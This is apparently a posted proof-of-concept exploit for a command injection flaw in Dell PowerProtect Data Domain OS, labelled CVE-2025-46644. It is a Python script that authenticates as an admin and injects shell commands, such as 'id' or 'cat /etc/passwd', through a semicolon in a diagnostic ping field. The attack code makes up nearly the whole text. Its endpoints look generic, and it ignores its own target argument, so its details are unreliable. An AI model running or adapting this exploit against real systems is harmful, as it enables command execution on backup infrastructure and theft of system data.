CVE-2025-46644 Dell PowerProtect Data Domain OS命令注入漏洞

# CVE-2025-46644 PoC - Dell PowerProtect Data Domain OS Command Injection # Note: This requires high privilege access and local access to the target system import requests import sys # Target configuration TARGET_HOST = "https://target-dell-dd.local" LOGIN_ENDPOINT = f"{TARGET_HOST}/api/login" VULN_ENDPOINT = f"{TARGET_HOST}/api/system/diagnostic" # Authentication (requires high privilege account) credentials = { "username": "admin", "password": "admin_password" } def exploit_os_injection(target_ip, cmd="id"): """ Exploit OS command injection in Dell PowerProtect Data Domain This PoC demonstrates command injection via diagnostic endpoint """ session = requests.Session() # Step 1: Authenticate with high privilege account try: login_resp = session.post(LOGIN_ENDPOINT, json=credentials, verify=False, timeout=10) if login_resp.status_code != 200: print(f"[-] Authentication failed: {login_resp.status_code}") return None print("[+] Successfully authenticated with high privilege account") except requests.RequestException as e: print(f"[-] Connection error: {e}") return None # Step 2: Inject OS command via vulnerable parameter # The vulnerability exists where user input is passed to system() call payload = { "action": "ping", "host": f"127.0.0.1; {cmd}" # Command injection via semicolon } try: exploit_resp = session.post(VULN_ENDPOINT, json=payload, verify=False, timeout=10) if exploit_resp.status_code == 200: print(f"[+] Command injection successful: {cmd}") return exploit_resp.json() else: print(f"[-] Exploitation failed: {exploit_resp.status_code}") return None except requests.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [command]") print(f"Example: python {sys.argv[0]} 192.168.1.100 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "id" result = exploit_os_injection(target, command) if result: print(f"[Result] {result}")